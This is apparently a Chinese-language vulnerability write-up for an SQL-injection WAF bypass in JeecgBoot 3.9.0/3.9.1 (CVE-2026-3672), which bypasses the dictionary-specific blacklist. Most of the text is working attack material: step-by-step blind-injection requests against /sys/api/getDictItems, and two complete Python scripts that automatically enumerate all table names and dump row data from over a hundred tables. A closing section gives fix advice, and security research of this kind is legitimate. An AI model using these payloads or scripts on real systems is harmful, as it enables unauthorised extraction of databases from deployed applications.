漏洞描述

该漏洞本质上是由于JeecgBoot内置的WAF存在逻辑缺陷,导致针对特定接口的SQL注入防护被绕过。

影响版本: JeecgBoot 版本 3.9.1/3.9.0

需要任意用户权限

漏洞分析

  • 来到SysDictController.java
  • 入口路由为 GET /sys/dict/getDictItems/{dictCode}
  • 控制器直接将 dictCode 传入sysDictService.getDictItems(dictCode)



  • 这说明外部请求中的 dictCode 会直接进入业务解析流程。


来到SysDictServiceImpl.java


可以看到:
- 三段格式走 queryTableDictItemsByCode
- 四段格式走 queryTableDictItemsByCodeAndFilter(params[0], params[1], params[2], params[3])


而dictCode 第四段被解释为过滤条件进入${filterSql}
也就是说走了specialFilterContentForDictSql通道,也就是说没有走默认check,而是走了字典check

来到同文件266行


这里对filterSqlj进行了检查,但可以绕过,等会再说。
我们先来到SysDictMapper.xml

很明显了 filterSql 直接落在 where 后面进行了SQL拼接

​

然后回到SQL注入check的地方specialFilterContentForDictSql

第一个是关键字过滤,第二个是注释过滤



对比默认check和字典check

默认:

private final static String XSS_STR = "and |exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|or |+|--";

字典:

private static String specialDictSqlXssStr = "exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|+|--";

可以发现:

  • 通用黑名单里有:and 、or
  • 字典专用黑名单里没有:and 、or

​

然后我们看下黑名单函数是怎么判断的


我们跟进这个方法


可以看到不是只要出现关键字就算命中,而是:

  1. 对大多数关键字,前面必须刚好有一个普通空格
  2. 对 ;、+、-- 这种在 FULL_MATCHING_KEYWRODS 里的特殊项,才直接匹配

正则:

它的意思是:

  1. 先找“空白 + 一段非空白字符 + 关键字”这种形态
  2. 找到以后还不算命中
  3. 只有当找到的片段里还含 %、+、#、/、) 这些符号时,才过滤


源码中的正则数组是:

"chr\\s*\\(",
"mid\\s*\\(",
" char\\s*\\(",
"sleep\\s*\\(",
"user\\s*\\(",
"show\\s+tables",
"user[\\s]*\\([\\s]*\\)",
"show\\s+databases",
"sleep\\(\\d*\\)",
"sleep\\(.*\\)"


回到我们的语句

select ${text} as "text", ${code} as "value" from ${table}
<if test="filterSql != null and filterSql != ''">
    where ${filterSql}
</if>

payload:

​

jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1%20and%20(select%20count(username)%20from%20sys_user)

WAF 对 select 的检查:

  • 正则表达式: \s+\S+select
  • 输入片段: and (select
  • 匹配结果: (select(空格 + ( + select)
  • 验证: (select 是否包含 )?否。 → 通过

WAF 对 from 的检查:

  • 正则表达式: \s+\S+from
  • 输入片段: ) from
  • 匹配结果: 无。(因为 from 前的字符是空格,\S+ 无法匹配) → 通过



然后进行布尔盲注测试:
payload:
dictCode=sys_user,username,id,1=1%20and%20(length(database())=1)

​

失败:


成功:



漏洞利用

虽然过滤了一些系统表,但mysql.innodb_index_stats
能用

接下来就是构思payload

  • 查当前库下表的数量
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+((select+count(distinct+table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3e=124) HTTP/1.1



用information_schema就会报错


  • 第一个表的长度
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and((select+length(min(table_name))+from+mysql.innodb_index_stats+where+database_name=database())%3E17) HTTP/1.1


  • 第一个字符
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3E'z') HTTP/1.1
  • 由z到a进行比较如果返回真说明是这个字母


  • 第二个字符
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3E'az') HTTP/1.1
  • 接在第一个字符的后面还是从z开始,这是不变的。
  • 后面以此类推。


  • 假如表名是aigc_word_template
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3d'aigc_word_template') HTTP/1.1
  • 会返回真


  • 第二个表的长度
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and((select+length(min(table_name))+from+mysql.innodb_index_stats+where+database_name=database()+and+table_name%3E'aigc_word_template')%3E8) HTTP/1.1


  • 判断字段是否存在
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and(select+count(id)+from+aigc_word_template)%3E=0 HTTP/1.1


  • 表行数
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+(select+count(*)+from+aigc_word_template)%3E1 HTTP/1.1


  • 判断表中是否有数据
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+(select+count(*)+from+aigc_word_template)%3E0 HTTP/1.1


  • 验证id非空行
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+(select+count(id)+from+aigc_word_template+where+id+is+not+null)%3E0 HTTP/1.1


  • 确定字段内容长度
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+id+from+aigc_word_template+where+length(id)%3e0) HTTP/1.1


  • 从0开始,为真就继续加

GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+id+from+aigc_word_template+where+length(id)%3e19) HTTP/1.1

​

  • 为假了说明就是这个了

GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+id+from+aigc_word_template+where+length(id)%3D19) HTTP/1.1

  • 进行验证


  • 获取id字段内容
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'0%25') HTTP/1.1
  • 从0开始
  • 返回真就是正确的,比如说id字段的内容为1957327567174488065

GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'1%25') HTTP/1.1

​

  • 为真
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'10%25') HTTP/1.1
  • 假
  • 加了几轮
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'19%25') HTTP/1.1
  • 真


  • 最后
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'1957327567174488065%25') HTTP/1.1
  • 真


  • 这里换到一个有两行以上的表。假设已知第一行id为1898995126819143682


  • 确认存在下一行
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+id+%3E+'1898995126819143682') HTTP/1.1

GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+id+%3c+'1898995126819143682') HTTP/1.1

  • 大小都判断一下有一个为真就说明存在


  • 确认下一行id的长度
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+cast((select+min(id)+from+airag_app+where+id+%3E+'1898995126819143682')+as+char)+like+'0%25') HTTP/1.1


  • 还是从0开始,一直到为真为止比如说1为真
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+cast((select+min(id)+from+airag_app+where+id+%3E+'1898995126819143682')+as+char)+like+'1%25') HTTP/1.1


  • 下一个就是
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+cast((select+min(id)+from+airag_app+where+id+%3E+'1898995126819143682')+as+char)+like+'10%25') HTTP/1.1


  • 直到为真为止
    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+cast((select+min(id)+from+airag_app+where+id+%3E+'1898995126819143682')+as+char)+like+'1899017221531811841%25') HTTP/1.1


  • 其他字段也是同理,但每个字段都需要考虑字母、数字、符号,暂时不考虑中文。这也只是当前库的payload,如果还有弄其他库工作量实在太大了。手搓完payload叫ai写脚本干活就行了。


报所有表名脚本:

import requests  
import time  
  
URL = "http://localhost:8080/jeecg-boot/sys/api/getDictItems"  
HEADERS = {  
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0",  
    "X-Access-Token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNlc2hpIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzc0MTMwODY4fQ.zh5zmmCKLX41pI54TBKodIW_nohwwWZ7SR5BqZnKSaE"  
}  
DELAY = 0  # 取消请求间隔  
  
# 创建会话,复用连接  
session = requests.Session()  
session.headers.update(HEADERS)  
  
def send_payload(condition):  
    """  
    发送注入条件,返回True表示页面正常(返回非空数组),False表示异常(空数组或错误JSON)。  
    """    dict_code = f"sys_user,username,id,1=1 and {condition}"  
    full_url = f"{URL}?dictCode={dict_code}"  
    try:  
        resp = session.get(full_url, timeout=10)  
        if resp.status_code != 200:  
            return False  
        text = resp.text.strip()  
        # 正常有数据的数组以 '[' 开头且长度大于2(即至少有一个元素)  
        if text.startswith('[') and len(text) > 2:  
            return True  
        else:  
            return False  
    except Exception as e:  
        print(f"请求异常: {e}")  
        return False  
    finally:  
        if DELAY > 0:  
            time.sleep(DELAY)  
  
def binary_search_length(cond_template, max_len=1000):  
    """  
    二分法获取长度,cond_template 应包含占位符 {n},例如 "length(...) > {n}"    """    low, high = 1, max_len  
    # 确定上界  
    while send_payload(cond_template.format(n=high)):  
        high *= 2  
        if high > 10000:  
            break  
    # 二分查找  
    while low < high:  
        mid = (low + high) // 2  
        if send_payload(cond_template.format(n=mid)):  
            low = mid + 1  
        else:  
            high = mid  
    return low  
  
def get_table_count():  
    """获取当前库下的表总数(去重)"""  
    print("[*] 获取表总数...")  
    cond = "((select count(distinct table_name) from mysql.innodb_index_stats where database_name=database()) > {n})"  
    return binary_search_length(cond, max_len=200)  
  
def get_table_name(where_cond=""):  
    """  
    根据条件获取第一个表名。  
    where_cond 可以是空(第一个表),或 "table_name > 'prev_table'"    返回表名字符串。  
    """    if where_cond:  
        base = f"select min(table_name) from mysql.innodb_index_stats where database_name=database() and {where_cond}"  
    else:  
        base = "select min(table_name) from mysql.innodb_index_stats where database_name=database()"  
  
    # 获取表名长度  
    len_cond = f"length(({base})) > {{n}}"  
    length = binary_search_length(len_cond)  
    print(f"[*] 表名长度: {length}")  
  
    table_name = ""  
    for pos in range(1, length+1):  
        # 在ASCII可打印字符32~126范围内二分查找  
        low, high = 32, 126  
        while low < high:  
            mid = (low + high + 1) // 2  # 向上取整,避免死循环  
            test_prefix = table_name + chr(mid)  
            # 判断最小表名是否小于 test_prefix            cond = f"(({base}) < '{test_prefix}')"  
            if send_payload(cond):  
                # 如果小于,说明实际表名 < test_prefix,则当前字符 < mid                high = mid - 1  
            else:  
                # 否则,实际表名 >= test_prefix,则当前字符 >= mid                low = mid  
        # 循环结束时 low 即为实际字符的ASCII码  
        table_name += chr(low)  
        print(f"   当前表名: {table_name}")  
    return table_name  
  
def get_all_tables():  
    """获取所有表名"""  
    tables = []  
    # 第一个表  
    print("[*] 获取第一个表名...")  
    first = get_table_name()  
    tables.append(first)  
    print(f"[+] 第一个表名: {first}")  
  
    # 后续表  
    idx = 2  
    while True:  
        print(f"[*] 获取第 {idx} 个表名...")  
        where = f"table_name > '{tables[-1]}'"  
        # 先判断是否存在下一个表  
        exists_cond = f"((select count(distinct table_name) from mysql.innodb_index_stats where database_name=database() and table_name > '{tables[-1]}') > 0)"  
        if not send_payload(exists_cond):  
            print("[!] 没有更多表")  
            break  
        next_table = get_table_name(where)  
        tables.append(next_table)  
        print(f"[+] 第 {idx} 个表名: {next_table}")  
        idx += 1  
    return tables  
  
def main():  
    table_count = get_table_count()  
    print(f"[+] 当前库共有 {table_count} 张表")  
    tables = get_all_tables()  
    print(f"[+] 所有表名: {tables}")  
  
if __name__ == "__main__":  
    main()


列还是不好爆,而且太多了,数据量堆起来时间复杂度太大了。这里就用字典代替,列举一些常用字段,效率大大提升。

实际上也是这么多



爆内容脚本

import requests  
import time  
import string  
  
URL = "http://localhost:8080/jeecg-boot/sys/api/getDictItems"  
HEADERS = {  
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0",  
    "X-Access-Token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNlc2hpIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzc0MTMwODY4fQ.zh5zmmCKLX41pI54TBKodIW_nohwwWZ7SR5BqZnKSaE"  
}  
DELAY = 0  
  
ID_FIELD = "id" # 用于定位行的字段(通常为主键)  
FIELDS = [  
    "id",  
    "name",  
    "create_time",  
    "update_time",  
    "create_by",  
    "update_by",  
    "status",  
    "code",  
    "width",  
    "height"  
]  
  
  
# 字符集(按 ASCII 升序:数字、大写字母、下划线、小写字母)  
CHARS_ASC = string.digits + string.ascii_uppercase + '_' + string.ascii_lowercase  
  
# 会话复用  
session = requests.Session()  
session.headers.update(HEADERS)  
  
def send_payload(condition):  
    """  
    发送注入条件,返回 True 表示页面正常(返回非空数组),False 表示异常(空数组或错误)  
    """    dict_code = f"sys_user,username,id,1=1 and {condition}"  
    full_url = f"{URL}?dictCode={dict_code}"  
    try:  
        resp = session.get(full_url, timeout=10)  
        if resp.status_code != 200:  
            return False  
        text = resp.text.strip()  
        # 正常有数据的数组以 '[' 开头且长度大于2(至少有一个元素)  
        return text.startswith('[') and len(text) > 2  
    except Exception:  
        return False  
    finally:  
        if DELAY > 0:  
            time.sleep(DELAY)  
  
def linear_search_length(cond_template, start=0):  
    """  
    线性递增获取长度,cond_template 包含 {n},从 start 开始递增直到条件为假  
    """    n = start  
    while send_payload(cond_template.format(n=n)):  
        n += 1  
    return n  
  
def check_field_exists(table, field):  
    """判断表中是否存在指定字段"""  
    cond = f"(select count({field}) from {table}) >= 0"  
    return send_payload(cond)  
  
def table_has_data(table):  
    """判断表是否有数据(至少一行)"""  
    cond = f"(select count(*) from {table}) > 0"  
    return send_payload(cond)  
  
def get_value_length_by_subquery(table, subquery):  
    """  
    获取子查询返回值的长度(线性递增)  
    subquery: 例如 "select min(id) from aigc_word_template"    """    cond = f"exists(select 1 from {table} where length(({subquery})) > {{n}})"  
    return linear_search_length(cond, start=0)  
  
def get_value_by_subquery(table, subquery, length):  
    """  
    获取子查询返回值的具体内容(逐字符 like 探测)  
    """    value = ""  
    for pos in range(1, length + 1):  
        found = False  
        for c in CHARS_ASC:  
            # 单引号转义(替换为两个单引号)  
            safe_value = value.replace("'", "''")  
            cond = f"exists(select 1 from {table} where cast(({subquery}) as char) like '{safe_value}{c}%')"  
            if send_payload(cond):  
                value += c  
                found = True  
                break        if not found:  
            # 理论上长度已知,不会找不到  
            break  
    return value  
  
def get_all_row_ids(table):  
    """获取表中所有行的 ID(按升序)"""  
    rows = []  
    # 第一行  
    subquery_first = f"select min({ID_FIELD}) from {table}"  
    length = get_value_length_by_subquery(table, subquery_first)  
    if length == 0:  
        return rows  
    first_id = get_value_by_subquery(table, subquery_first, length)  
    rows.append(first_id)  
  
    # 后续行  
    current_id = first_id  
    while True:  
        # 判断是否存在下一行  
        exists_cond = f"exists(select 1 from {table} where {ID_FIELD} > '{current_id}')"  
        if not send_payload(exists_cond):  
            break  
        # 获取下一行的 ID        subquery_next = f"select min({ID_FIELD}) from {table} where {ID_FIELD} > '{current_id}'"  
        length = get_value_length_by_subquery(table, subquery_next)  
        if length == 0:  
            break  
        next_id = get_value_by_subquery(table, subquery_next, length)  
        rows.append(next_id)  
        current_id = next_id  
    return rows  
  
def get_field_value_by_id(table, field, row_id):  
    """  
    获取指定表中某行(由 row_id 标识)的 field 字段值  
    """    # 如果字段就是 ID_FIELD,直接返回已缓存的 row_id(避免重复盲注)  
    if field == ID_FIELD:  
        return row_id  
  
    # 先检查该行该字段是否有值(非 NULL)  
    has_value_cond = f"exists(select 1 from {table} where {ID_FIELD} = '{row_id}' and {field} is not null)"    if not send_payload(has_value_cond):  
        return None  # 值为 NULL  
    # 获取字段长度  
    length_cond = f"exists(select 1 from {table} where {ID_FIELD} = '{row_id}' and length({field}) > {{n}})"  
    length = linear_search_length(length_cond, start=0)  
    if length == 0:  
        return ""  # 空字符串  
  
    # 逐字符探测  
    value = ""  
    for pos in range(1, length + 1):  
        found = False  
        for c in CHARS_ASC:  
            safe_value = value.replace("'", "''")  
            cond = f"exists(select 1 from {table} where {ID_FIELD} = '{row_id}' and cast({field} as char) like '{safe_value}{c}%')"  
            if send_payload(cond):  
                value += c  
                found = True  
                break        if not found:  
            break  
    return value  
  
def main():  
    tables = [  
        'aigc_word_template', 'airag_app', 'airag_ext_data', 'airag_flow',  
        'airag_knowledge', 'airag_knowledge_doc', 'airag_mcp', 'airag_model',  
        'airag_prompts', 'demo', 'flyway_schema_history', 'jeecg_order_customer',  
        'jeecg_order_main', 'jeecg_order_ticket', 'jimu_dict', 'jimu_dict_item',  
        'jimu_report', 'jimu_report_category', 'jimu_report_data_source',  
        'jimu_report_db', 'jimu_report_db_field', 'jimu_report_db_param',  
        'jimu_report_export_job', 'jimu_report_export_log', 'jimu_report_ext_data',  
        'jimu_report_icon_lib', 'jimu_report_link', 'jimu_report_map',  
        'jimu_report_share', 'jimu_report_sheet', 'joa_demo',  
        'oauth2_registered_client', 'onl_auth_data', 'onl_auth_page',  
        'onl_auth_relation', 'onl_cgform_button', 'onl_cgform_enhance_java',  
        'onl_cgform_enhance_js', 'onl_cgform_enhance_sql', 'onl_cgform_field',  
        'onl_cgform_head', 'onl_cgform_index', 'onl_cgreport_head',  
        'onl_cgreport_item', 'onl_cgreport_param', 'onl_drag_comp',  
        'onl_drag_dataset_head', 'onl_drag_dataset_item', 'onl_drag_dataset_param',  
        'onl_drag_page', 'onl_drag_page_comp', 'onl_drag_share',  
        'onl_drag_table_relation', 'open_api', 'open_api_auth', 'open_api_log',  
        'open_api_permission', 'oss_file', 'qrtz_blob_triggers', 'qrtz_calendars',  
        'qrtz_cron_triggers', 'qrtz_fired_triggers', 'qrtz_job_details',  
        'qrtz_locks', 'qrtz_paused_trigger_grps', 'qrtz_scheduler_state',  
        'qrtz_simple_triggers', 'qrtz_simprop_triggers', 'qrtz_triggers',  
        'rep_demo_dxtj', 'rep_demo_employee', 'rep_demo_gongsi',  
        'rep_demo_jianpiao', 'rep_demo_order_main', 'rep_demo_order_product',  
        'sys_announcement', 'sys_announcement_send', 'sys_category',  
        'sys_check_rule', 'sys_comment', 'sys_data_log', 'sys_data_source',  
        'sys_depart', 'sys_depart_permission', 'sys_depart_role',  
        'sys_depart_role_permission', 'sys_depart_role_user', 'sys_dict',  
        'sys_dict_item', 'sys_files', 'sys_fill_rule', 'sys_form_file',  
        'sys_gateway_route', 'sys_permission', 'sys_permission_data_rule',  
        'sys_position', 'sys_quartz_job', 'sys_role', 'sys_role_index',  
        'sys_role_permission', 'sys_sms', 'sys_sms_template',  
        'sys_table_white_list', 'sys_tenant', 'sys_tenant_pack',  
        'sys_tenant_pack_perms', 'sys_tenant_pack_user', 'sys_third_account',  
        'sys_third_app_config', 'sys_user', 'sys_user_dep_post',  
        'sys_user_depart', 'sys_user_position', 'sys_user_role',  
        'sys_user_tenant', 'test_demo', 'test_enhance_select', 'test_note',  
        'test_online_link', 'test_order_customer', 'test_order_main',  
        'test_order_product', 'test_person', 'test_shoptype_tree'  
    ]  
  
    print(f"[+] 共 {len(tables)} 张表需要处理")  
    print(f"[+] 将提取字段: {FIELDS}\n")  
  
    for table in tables:  
        print(f"\n{'='*60}\n[*] 处理表: {table}")  
        # 检查是否存在至少一个字段(避免完全无权限的表)  
        field_exists = any(check_field_exists(table, f) for f in FIELDS)  
        if not field_exists:  
            print(f"[!] 表 {table} 中不存在任何指定字段,跳过")  
            continue  
        if not table_has_data(table):  
            print(f"[!] 表 {table} 中无数据,跳过")  
            continue  
  
        # 获取所有行的 ID        print(f"[*] 正在获取所有行的 {ID_FIELD}...")  
        row_ids = get_all_row_ids(table)  
        if not row_ids:  
            print(f"[!] 无法获取行 {ID_FIELD},跳过")  
            continue  
        print(f"[+] 共 {len(row_ids)} 行")  
  
        # 对每一行提取所有字段  
        for idx, row_id in enumerate(row_ids, start=1):  
            print(f"\n   行 {idx} (ID: {row_id})")  
            row_data = {ID_FIELD: row_id}  
            for field in FIELDS:  
                if field == ID_FIELD:  
                    continue  # 已缓存  
                # 检查字段是否存在(表级)  
                if not check_field_exists(table, field):  
                    print(f"      [!] 字段 {field} 不存在,跳过")  
                    continue  
                # 获取字段值  
                value = get_field_value_by_id(table, field, row_id)  
                if value is None:  
                    print(f"      {field}: NULL")  
                else:  
                    print(f"      {field}: {value}")  
                row_data[field] = value  
  
if __name__ == "__main__":  
    main()


修复建议

  1. 禁止四段式 dictCode,不再允许外部直接传 filterSql
  2. 禁止 tableFilterSql 中携带 where, 只允许纯表名
  3. 删除 Mapper 中 where ${filterSql} 的动态拼接
  4. 如果业务必须过滤,改成“字段白名单 + 参数化值”的结构化查询。黑名单可以补强,但只能做辅助兜底,不能替代根本修复

参考文章

CVE记录:CVE-2026-3672
Jeecgboot3.9.1,3.9.0 Web Application Firewall (WAF) Bypass via Regular Expression Misconfiguration and Asymmetric Blacklist Vali